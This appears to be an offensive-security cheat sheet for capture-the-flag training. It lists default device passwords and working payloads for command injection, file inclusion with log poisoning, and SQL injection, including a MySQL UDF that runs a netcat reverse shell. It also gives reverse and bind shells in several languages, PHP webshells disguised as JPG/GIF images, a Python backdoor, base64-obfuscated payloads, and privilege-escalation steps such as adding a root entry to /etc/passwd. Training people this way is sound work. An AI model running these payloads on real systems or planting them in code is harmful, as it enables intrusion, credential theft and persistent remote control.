Airlink BLANK admin
Apple admin public
Belkin admin none
Borland politically correct
Bunker OS BLANK 123456
Cisco EAdmin BLANK
Cisco BLANK Cisco
D-Link BLANK private
Del Administrator storageserver
Edimax admin 123
F5 admin admin
kali kali kali
Netgear BLANK password
parrot user toor
Raspberrypi pi raspberry
ubuntu user BLANK
Shell command injection is possible when a program uses a data, entered by the user, without filtering it, as an argument of a shell command.
Example: You enter your name in a Web Form, your name is sent to the server then used in a shell command. The server-side code looks like:
system ('echo '.$NAME);
Instead of just entering Yolo, you enter:
YOLO; cat /etc/password;
The server will chain the two commands by executing:
system ('echo YOLO; cat /etc/password;');
It is then possible to dump the content of the passwd file.
A command injection gives full control over the server. One can retrieve informations about the server (uname -a), account names (cat /etc/passwd), web server config files, launch a reverse shell...
Commands separators are : ; && | ||
echo YOLO; uname -a; cat /etc/passwd
echo YOLO && cat /etc/passwd
echo YOLO | cat /etc/passwd
echo YOLO || cat /etc/passwd Only if the first cmd fail
To force command execution in a string let use ` $ or {
echo `cat /etc/passwd`
echo $(cat /etc/passwd)
echo {cat,/etc/passwd}
Developpers sometimes add filters to avoid command injection. For exemple, they could filter Spaces. Hopefully, even without spaces it's still possible to launch shell commands:
cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
A keyword based filter is easy to bypass using simple quote, double quote, backslash and slash
c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd
who``ami
In case the file '/etc/passwd' is filtered, just add /
c\at /etc////////passwd
Many programming languages, such as php, are able to read files and process them to generate dynamic HTML pages.
This feature can be hijacked by user crafted variable.
For exemple:
The URI http://10.10.10.11/index.php?page=login.php is sent to the server.
The server receive the request extract the page field 'login.php' and process this file to generate the HTML login page.
Let replace 'login.php' by another file such as '/etc/passwd', that will be processed by php.
http://10.10.10.11/index.php?page=/etc/passwd
Php commands are enclosed between <?php and ?> tags. When parsing a file without those tags, php simply print the file content.
Apache web server working directory is usually /var/www/html.
Setting page=/etc/passwd, the server tries to open the file /var/www/html/etc/passwd.
Let add /../ to the path to reach the upper directory.
/var/www/html/../etc/passwd => /var/www/etc/passwd.
/var/www/html/../../etc/passwd => /var/etc/passwd.
We can add as many ../../../../../ as we want, we can't go upper than /.
/var/www/html/../../../../../../../ => /, regardless of the number of ../
http://10.10.10.11?page=../../../../../etc/passwd
An LFI can read/execute ALL files, the web server account is allowed to read.
The server extracts 'page' parameter from request http://10.10.10.11/index.php?page=login, and appends an extension such as '.php' before including it.
http://10.10.10.11/index.php?page=/etc/password tries without succes to open /etc/password.php.
On php version older than 5.3.4, adding a null byte at the end of our parameter will mean the end of the string, and leads to ignoring the extension '.php'.
http://10.10.10.11/index.php?page=/etc/password%00
< %3C %253C
> %3E %253E
« %22 %2522
‘ %27 %2527
/ %2F %252F
. %2E %252E
= %3D %253D
– %2D %252D
: %3A %253A
Developers, who are aware of the risks of LFI, sometime add functions that will filter the entries.
They detect and remove the ../ and the / in the filename
.
This kind of filter is called a Waf: Web Application Filter.
It is possible to bypass these filters in several ways:
Browsers could interpret the encoded characters or even re-encode them. It is usually better to set the desired URL thanks to a curl command or modify/replay using an HTTP proxy.
Php allows to pass files through filters before opening them. It is thus possible to encode a file in base64 before opening it.
http://10.10.10.11/index.php?page=php://filter/read=convert.base64-encode/resource=login.php
http://10.10.10.11/index.php?page=php://filter/convert.base64-encode/resource=login.php
It only remains to decode base64 to get the source code of the file.
Php allows to read the content of the HTTP request as a file. It is thus possible to read and execute the raw content of the data in POST with php://input.
curl -X POST -d 'test=<? system ("id"); ?>' http://pwnlab/?page=php://input
Only works if the option allow_url_include = On is active in the php config. This option is disabled by default.
To inject a Php payload in the log file of a server, just send an HTTP GET request containing php code in the url.
For an ssh or ftp server, inject the payload in login.
Use then an LFI on the log file to trigger the payload.
Usual log files locations:
Apache
/var/log/apache/access.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/httpd/error_log
Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
Ssh
/var/log/sshd.log
Log files location can be found in webservers config files:
Nginx: /etc/nginx/nginx.conf
Look for : access_log /spool/logs/nginx-access.log
Inject SQL commands in the parameters to rewrite the SQL query.
SELECT * FROM user WHERE login='[USER]' and password='[PASSWORD]';
Method : close the single quote ', whiden the SELECT with OR 1=1, add entries thanks to UNION, comment the end of the request with # or -- -
Sent parameters:
USER=admin' OR 1=1 -- -
PASSWORD=ferrari
Altered SQL request:
SELECT * FROM user WHERE login='admin' OR 1=1 -- - and password='ferrari';
Send the Form with custom params thanks to curl:
curl http://target/login.pgp?login=admin' OR 1=1 -- -&password=ferrari
Connect to a remote mysql database:
mysql -u admin --host=10.10.12.10 : without password
mysql -u admin --host=10.10.12.10 -padmin : with password
Usefull commands:
SELECT @@version;
SELECT user();
SHOW Databases;
USE database;
SHOW tables;
SELECT * from table;
Inject single quote ' or double quote " and see an error.
Inject Sleep and detect a delayed response.
admin' and sleep(5) and '1'='1
admin" and sleep(5) and "1"="1
A polyglot is a sequence working for many different scenarios
a/*$(sleep 5)`sleep 5``*/sleep(5)#'/*$(sleep 5)`sleep 5` #*/||sleep(5)||'"||sleep(5)||"`
Usually developers take the first entry. But sometimes they check that there is only one.
admin' or 1=1 LIMIT 1 -- -
Sometime, SQLi aware developpers filter characters such as space or words such as OR:
Space => Tab %09, Newline %A0, /**/
AND => && %26%26
OR => ||
When the query is used to display entries (e.g. list of objects), values can be added with a UNION.
.
First, you need to identify the number of entries used by SELECT:
SELECT id, name, desc, price FROM stock WHERE name=[NAME]
Methode 1: ORDER BY
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 1-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 3-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 4-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 5-- - : Error
=> 4 entries
Methode 2: SELECT
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1 : Error
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2 : Error
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3 : Error
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3,4 : Ok
=> 4 entries
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,table_name,table_name FROM information_schema.tables; -- -
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,column_name,column_name FROM information_schema.columns WHERE table_name='users'; -- -
UNION SELECT concat(name,':',pass),1 FROM users; -- -
SQLi on GET parameter:
$ sqlmap -u 'http://10.10.10.129/sqli/example1.php?name=root' --dbs --banner
SQLi on POST parameter:
Intercept the request using Burp, and save it in login.txt file.
$ sqlmap -r login.txt --dbs --banner
-p name : parameter to be tested
List tables, then dumper une table:
$ sqlmap -r login.txt -D jetadmin --tables
$ sqlmap -r login.txt -D jetadmin -T users --dump
Compile a unix library containing the function sys_exec()
Uploader the .so file onto the server. Declare the function in MySQL. Now it's possible to use sys_exec() to run shell commands.
# Tested with : mysql 5.5.60-0+deb8u1
# Create a 'User Defined Function' calling C function 'system'
# Use pre-compiled 32 or 64 depending on target.
# Copy file to /tmp
create database exploittest;
use exploittest;
create table bob(line blob);
insert into bob values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from bob into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so
create function sys_exec returns int soname 'lib_mysqludf_sys.so';
select sys_exec('nc 11.0.0.21 4444 -e /bin/bash');
select sys_exec('/bin/sh');
after bash access, 'bash –p' or 'sudo su'
You have found a web request that allows you to execute commands on the server, or you have managed to find out how to upload a file that can be executed.
Your goal now is to get a shell on the machine, which will allow a comfortable exploitation.
You will use the tools installed on the server (netcat, bash, php, python, perl, ...) to open a shell on the server and connect it back to your host.
Netcat, is the Swiss army knife of connections between servers.
It can listen, connect and launch shells.
Older versions had the -e or -c option to launch a shell. Recent versions do not have this option anymore for security reasons.
On Kali there is a version 1.10 in :
/usr/bin/nc -h
-e shell commands : program to execute
-c shell commands : program to execute
-l : listen mode
-v : verbose
-p port : local port number
Connect to port 3000 on 10.0.0.11 server:
/usr/bin/nc 10.0.0.11 3000
On your host, start a nc listening on 4444 port
nc -lvp 4444
On the target host, start a reverse shell. This reverse shell launch a shell and connect it to your host on 4444 port.
nc -e /bin/sh IPKALI 4444
To use a reverse shell you must have a public IP, and can't use a NAT. Well, you can, its just little bit trickier.
On your host, start a nc listening on 4444 port
nc -lvp 4444
On the target host, start a reverse shell. This reverse shell launch a shell and connect it to your host on 4444 port.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f
The shell obtained with nc is basic. It is not a tty (real terminal).
Some commands like su will refuse to work.
To upgrade our shell, use python to get a tty shell:
python -c 'import pty; pty.spawn("/bin/bash")'
The shell obtained with nc is basic. The completion with Tab, the history with arrows are not managed.
Put the nc in the background with:
Ctr-Z
Then ask the current shell to pass the raw keystroke codes to the remote shell, and switch back to the netcat (foreground)
stty raw -echo
fg
Disclamer: Trying this in a browser will just freeze the shell. The browser also modifies the key codes. It only works in a VM
As long as your nc is connected, you block a thread of the web server. Depending on the configuration of the server, it can have 6, 16, 32 threads... This means as many nc in parallel before saturation. To free the server for friends: In the connected nc, choose a second port and launch a second netcat bindshell in the background:
binshell:
nohup bash -c 'while true; do nc -e /bin/bash -lvp 4445; done;' &
reverse shell:
nohup bash -c 'bash -i >& /dev/tcp/IPKALI/4444 0>&1' &
The nohup command will detach the nc process from the current shell.
Do a Ctrl-C to cut the nc connection, the page with your webshell will be freed. Another user can connect.
Launch a new nc to connect to this new bindshell.A bind shell is useful when our host is behind a NAT. This shell is fragile, a port scan will trigger it and close it. Launch a shell, open a listening TCP socket on port 4444, and give access to the shell to the first one who connects.
nc -e /bin/sh -lvp 4444
Connect to the nc on the target and get the shell:
nc iptarget 4444
Launch a bind shell on the target host
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc -lp 4444 >/tmp/f
Then connect to it
nc victim 4444
Socat is a nc on steroids. It allows authentication, encryption of communications and port forwarding.
It is rarely found on the servers, it must be uploaded.
Start a listening socat:
$ socat file:`tty`,raw,echo=0 TCP-L:4444
Launch reverse shell back to 10.0.0.1:4444
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444
Automate socat upload and the reverse shell:
$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
Pwncat is an upgraded nc on steroids too.
https://github.com/cytopia/pwncat
Netcat and python are not installed on the server. It is still possible to launch a reverse shell in bash.
Launch a listening nc on your host:
nc -lvp 4444
Launch the reverse shell on your target:
bash -i >& /dev/tcp/IPKALI/4444 0>&1
Launch a listening nc on your host:
nc -lvp 4444
Launch the reverse shell in perl on your target:
perl -e 'use Socket;$i="IPKALI";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Launch a listening nc on your host:
nc -lvp 4444
Launch the reverse shell in python on your target:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IPKALI,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)'
Launch a listening nc on your host:
nc -lvp 4444
Launch the reverse shell in php on your target:
php -r '$sock=fsockopen("IPKALI",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
If you can upload a php file to the web server, the file below will allow you to run shell commands:
<?php echo 'Shell: ';system($_GET['cmd']); ?>
Run 'id' on the server
curl http://IPSERVER/cmd.php?cmd=id
Upload the file
<pre><?php echo 'Shell: ';system($_GET['cmd']); ?></pre>
Run 'id' on the server
curl http://IPSERVER/cmd.php?cmd=id
Sometimes some characters like ; the & or the | are filtered. A base64 encoding allows to get out of it.
Base64 encode your command in an xterm:
$ printf 'system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f");' | base64
Paste de base64 encoded command in PHP reverse shell code:
eval(base64_decode('c3lzdGVtKCJyEtxxxxxxxxxEkgNDQ0NCA+L3RtcC9mIik7='));
import sys,socket,time,re,subprocess,os
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0',4444))
sock.listen(5)
conn,addr = sock.accept()
conn.send('== YOLO Backdoor ==\n\n>')
while 1:
data = conn.recv(1024)
cmd = data.strip().split(' ')
if cmd[0] == 'cd':
os.chdir(cmd[1])
elif cmd[0] in ('exit'):
break
else:
conn.send(subprocess.check_output(cmd)+'\n>')
conn.close()
sock.shutdown(socket.SHUT_RDWR)
sock.close()
If you can upload a jpg file, it is possible to hide a webshell in it.
A jpeg file is identified by its first bytes which have the value: ffd8ffe0
To generate a file that will be identified as having a valid Jpeg header:
printf "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg
This file will be recognized as a jpg file
$ file webshell.jpg
webshell.jpg: JPEG image data
A Gif file is identified by its first bytes which have the value: GIF89a;
To generate a file that will be identified as having a valid gif header:
printf "GIF89a;<?php system('id'); ?>" > webshell.gif
This file will be recognized as a gif file
$ file webshell.gif
webshell.gif: GIF image data
An image file contains a lot of information: shooting date, location, camera type...
We can inject php code in this data.
exiftool -Comment='<?php system('id'); ?>' webshell.jpg
You want to know more ?
Some webshells
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Pure php Webshell: php-reverse-shell.php
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Yop Webshell: yopwebshell.php
Yolo Webshell: yolowebshell.php
As soon as you get your initial foothold on the target server, your next step is to transfert text or binary files.
You'll probably download some target files and upload some tools such as backdoors or privilege escalation scripts...
Base64 encoding is the simplest way to upload small binary or text files.
cat file | base64
printf 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | base64 -d > file
Just prepare the last command on you xterm, it can be many lines long, then copy/paste/exec on you target.
To transfer a file without worrying about its size, just launch an HTTP server and make a wget, curl
python -m SimpleHTTPServer 8000
php -S 0.0.0.0:8000
Be carefull, eveyone is able to browse this new server file system.
With an ssh accès, let use scp
scp file.txt remote_username@10.10.0.2:/remote/directory
scp -i id_rsa file.txt remote_username@10.10.0.2:/remote/directory
scp -P 2222 file.txt remote_username@10.10.0.2:/remote/directory
scp remote_username@10.10.0.2:/remote/file.txt /local/directory
You just got shell access to a server.
Let start by an exhaustive inventory of what is accessible to your account.
On your first servers, it is preferable to make these enumerations by launching the commands manually, so you can appropriate the options and outputs. Once comfortable, and knowing what you are looking for, feel free to use scripts that do these enumerations for you.
Find .txt or .cfg files, owned by other accounts, and readable.
find /home -readable -type f \( -iname \*.txt -o -iname \*.cfg \) 2>/dev/null
find /home -E . -regex '.*\.(txt|cfg)' 2>/dev/null
Wordpress config file is:
wp-config.php
Let find it:
find /var -name wp-config.php 2>/dev/null
This config file contains login/password used to connect to the blog database. By dumping the database, it's thus possible to get wordpress user's login and password hashes.
Apache config file name may be :
httpd.conf
apache2.conf
On le trouve généralement dans un des répertoires:
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf
Tomcat config file is named:
server.xml
User's accounts can be found in :
tomcat-users.xml
Thos files are usually found in:
TOMCAT-HOME/conf/
/usr/local/tomcat/conf/
Sudo is used to run commands as another user.
To know the sudo rights of your account, you have to run the command sudo -l. Sometimes you are asked to enter your password.
sudo -l
The user1 can use the following commands on target-host:
(ALL) NOPASSWD: /usr/bin/find
user2 NOPASSWD: /usr/bin/python3 /home/user2/run.py
The first entry is: (ALL) NOPASSWD: /usr/bin/find
It is possible to run the /usr/bin/find command as any server user, especially root.
sudo /usr/bin/find
Second entry is: user2 NOPASSWD: /usr/bin/python3 /home/user2/run.py
Here it is possible to run the command '/usr/bin/python3 /home/user2/run.py' as user2.
For this we use the 'sudo' command with the '-u user22' flag
sudo -u user2 /usr/bin/python3 /home/user2/run.py
If the NOPASSWD option is set, you do not have to enter any passwords. Otherwise, the sudo command asks for the password of the current account. If you are logged in via a webshell, or an ssh connection with private key, you will have to figure out the password.
Identify processes with a setUID bit
find / -perm -4000 -exec ls -al {} \; 2>/dev/null
What to do with a binary having a setUID bit ?
- Run a shell
- Read a flag
- Copy a file
- Add an entry in a file : /etc/sudoers, /etc/passwd, ~/.ssh/authorized_keys
- ...
Many processes allow to launch a shell. Perfect with sudo or a setUID bit.
- find
- nmap
- vi
- less
- awk
- tee
...
Reference: https://gtfobins.github.io/
Less is used to read files. Press q to exit.
./less flag.txt
To open a shell, open a file, then !/bin/sh
./less fichier
!/bin/sh
Launched thanks sudo or with SUID bit set, bash drops its privileges. To keep root id, use -p option.
bash -p
To open a shell, find a known file then launch the command: /bin/sh.
sudo /usr/bin/find . -name readme.txt -exec /bin/sh \;
./find . -name readme.txt -exec /bin/sh \;
If you have the rights to modify /etc/passwd, you can be root. For example tee with a sudo as root. Add an entry with a UID of 0 (root UID), and an empty password.
echo myroot::0:0:::/bin/bash | sudo tee -a /etc/passwd
su myroot
echo 'ssh-rsa AAAAB3[...]CHN2CpQ== yolo@yolospacehacker.com' > /home/victim/.ssh/authorized_keys
ssh -i id_rsa victim@iptarget
Identify processes running as root
ps eaxf
Once an interresting process found, see if it's possible to modify the files read by the process, or if the process has known vulnerabilities.
Identify cron tasks.
cat /etc/cron.d/*
cat /var/spool/cron/*
crontab -l
cat /etc/crontab
cat /etc/cron.(time)
systemctl list-timers
With the ps command, you may miss a small process, launched every 2 minutes, which will process a batch file in 5 seconds before disappearing. The pspy tool monitors the processes for you.
https://github.com/DominicBreuker/pspy
Linux Distib version:
cat /etc/issue
Ubuntu 18.04.3 LTS
Linux kernel version: 5.0.0-37-generic
uname -a
Linux yoloctf-server 5.0.0-37-generic #40~18.04.1-Ubuntu SMP Thu Nov 14 12:06:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Once the kernel version is known, it is possible to search for a kernel exploit
https://github.com/SecWiki/linux-kernel-exploits
Never run an unknown binary !
Get the sources, read them, understand what they do, compile yourself, and only then run them... Knowing that there is a high risk of crashing the server.
Some well known script automate the enumeration process.
Test them and find the one that suits you best.
linPeass : https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
LinEnum.sh : https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
linuxprivchecker.py : https://github.com/sleventyeleven/linuxprivchecker
unixprivesc.sh : https://github.com/pentestmonkey/unix-privesc-check
lse.sh : https://github.com/diego-treitos/linux-smart-enumeration
Identifying the type of a file is usually done by looking at the file extension.
.zip: compressed archives in zip format.
.doc: Words files.
Sometimes the extension does not match, or the file does not have one.
The 'file' command examines the contents of the file, looking for well known headers.
file secret.zip
Brute force an encrypted zip with a list of passwords
fcrackzip -u -v -D -p rockyou.txt secret.zip
Check file format:
$ file backup.mdb
backup.mdb: Microsoft Access Database
If needed,install tools:
apt-get install mdbtools
List tables, then dump.
mdb-tables backup.mdb
mdb-export backup.mdp users passwd
Check file format:
$ file mails.pst
mails.pst: Microsoft Outlook email folder
If needed,install tools:
apt-get install pst-utils
Extract mailboxes, then read them.
readpst mails.pst
cat mails.mbox
An Odt file is a text document created by OpenOffice and LibreOffice.
Odt files are similar to Word .docx files.
Check file format:
$ file doc.odt
doc.odt: OpenDocument Text
An Odt file is a Zip archive containing xml files.
Let unzip it, and read content.xml file.
unzip doc.odt
cat content.xml
Or use odt2txt to extract text:
odt2txt doc.odt
Method 1:
Use the tool: Statistics/Conversations
Select the IP tab
Select the TCP tab, click on a TCP stream and then the 'follow stream' button
Method 2:
For experienced plux, hover over the packets, identify the TCP stream, and right click on a TCP packet, and 'Follow/TCP Stream'.
Uses tshark to identify TCP connections
tshark -nlr FILENAME -Y tcp.flags.syn==1 -T fields -e tcp.stream
tshark looks for TCP connections and gives them an ID: 0, 1,...
Dump the contents of each stream by replacing ID with the stream ID: 0, 1,...
tshark -nlr FILENAME -qz "follow,tcp,ascii,ID"
Hiding a file in an image
steghide embed -cf IMAGEFILE -ef FILETOHIDE
Extract the file
steghide extract -sf IMAGEFILE -p PASSWORD
Bruteforce
ROCKYOUFILE=/usr/share/wordlists/rockyou.txt
ROCKYOULIST=`cat /usr/share/wordlists/rockyou.txt`
for word in $ROCKYOULIST
do
echo $word
ret=`steghide extract -sf $1 -p $word`
if [ $? -eq 0 ]
then
echo Found
exit 0
fi
done
Mounter filesystem on directory /tmp
mkdir /tmp/tmpmnt
sudo mount disk.img /tmp/tmpmnt
ls -al /tmp/tmpmnt
Umount filesystem
sudo umount /tmp/tmpmnt
photorec ~/forensic/usb1.img
Let's create a mount point on the disk.
mkdir /tmp/tmpmnt
Let's use Veracrypt in TrueCrypt compatibility mode (option -tc) and without acceleration (-m=nokernelcrypto) to mount the disk.
sudo veracrypt -tc -m=nokernelcrypto --mount truecrypt_safe.img /tmp/tmpmnt
Enter password for truecrypt_safe.img:
Enter keyfile [none]:
Protect hidden volume (if any)? (y=Yes/n=No) [No]:
Extracting the Hash
$ truecrypt2john.py truecrypt_safe.img > hash
Breaking the Hash
$ john --format=tc_ripemd160 hash
The Open Web Application Security Project (OWASP) is a community, founded in 2001, which produces and makes available for free articles, methodologies, tools...
Every year, it publishes the Top 10 Web security vulnerabilities.
It publishes the OWASP Testing Guide: a guide to best practices in depentesting.
It publishes the OWASP Development Guide: a guide to writing code without security holes.
Official website: https://www.owasp.org
Mitre is the organization, funded by the United States Defense Department, which has implemented and maintains the CVE referencing (Common Vulnerabilities and Exposures). https://en.wikipedia.org/wiki/Mitre_Corporation
A CVE, for Common Vulnerabilities and Exposures, is a reference for a security flaw.
https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures
Base64 encoding is used to transmit data using only displayable characters (letters, numbers, a few signs, etc.)
URL/Percent encoding is used to transmit special characters in URL such as quote, spaces...)